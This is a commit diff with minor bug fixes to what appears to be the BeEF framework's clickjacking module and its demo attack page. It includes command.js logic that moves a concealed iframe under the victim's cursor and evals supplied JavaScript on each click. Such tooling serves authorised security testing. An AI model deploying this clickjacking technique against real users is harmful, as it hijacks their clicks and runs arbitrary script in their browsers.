Fixed several minor bugs

extensions/demos/html/clickjacking/clickjack_attack.html

@@ -57,6 +57,7 @@ margin-top:40px;
 padding:5px 0;
 }
 .inner .footnote > a{
+/*
 display:inline-block;
 width:100px;
 background:#09C;
@@ -68,10 +69,12 @@ line-height:30px;
 border-radius5px;
 border:1p solid #999;
 text-decoration:none;
+*/
+display:none;
 margin-top:5px;
 }
 .inner .footnote > span{
-display:none;
+/*display:none;*/
 }
 .click-thru{
 color:#333;
@@ -144,10 +147,6 @@ quotes[5] = {title: "You are a sad strange little man, and you have my pity.", f
 $(".more-quotes").live("click", function(){
 	var random = Math.floor(Math.random()*(quotes.length));
 	$(".text").html(quotes[random].title);
-	//It's easy to add arbitrary actions, commented out is an example
-	//$(".footnote > span").html(quotes[random].footnote).hide();
-	//$(".footnote > a").show();
-
 	$(".footnote > span").html(quotes[random].footnote).show();
 	$(".footnote > a").hide();
 });

modules/social_engineering/clickjacking/command.js

@@ -95,26 +95,28 @@ beef.execute(function() {
 	function iframeClicked(){
 		clicked++;
 		var jsfunc = '';
-		try{
-			//check if there's an action to perform
-			if (isNaN(parseInt(clicks[clicked-1].posTop))) {
-				removeAll(elems);
-				throw "No more clicks.";
-			}
-			jsfunc = clicks[clicked-1].js;
-			innerPos.top = clicks[clicked].posTop;
-			innerPos.left = clicks[clicked].posLeft;
-			eval(unescape(jsfunc));
-			setTimeout(function(){
-				updateIframePosition();
-			}, <%= @clickDelay %>);
-		} catch(e) {
-			cjLog(e);
-		}
+		jsfunc = clicks[clicked-1].js;
+		innerPos.top = clicks[clicked].posTop;
+		innerPos.left = clicks[clicked].posLeft;
+		eval(unescape(jsfunc));
+		setTimeout(function(){
+			updateIframePosition();
+		}, <%= @clickDelay %>);
+
 		setTimeout(function(){
 			var btnSelector = "#" + elems.btn;
 			var btnObj = $(btnSelector);
 			$(btnObj).focus();
+
+			//check if there are any more actions to perform
+			try {
+				if (isNaN(parseInt(clicks[clicked].posTop))) {
+					removeAll(elems);
+					throw "No more clicks.";
+				}
+			} catch(e) {
+				cjLog(e);
+			}
 		}, 200);
 	}
 

modules/social_engineering/clickjacking/config.yaml

@@ -11,6 +11,7 @@
 #   See the License for the specific language governing permissions and
 #   limitations under the License.
 #
+
 beef:
     module:
         clickjacking: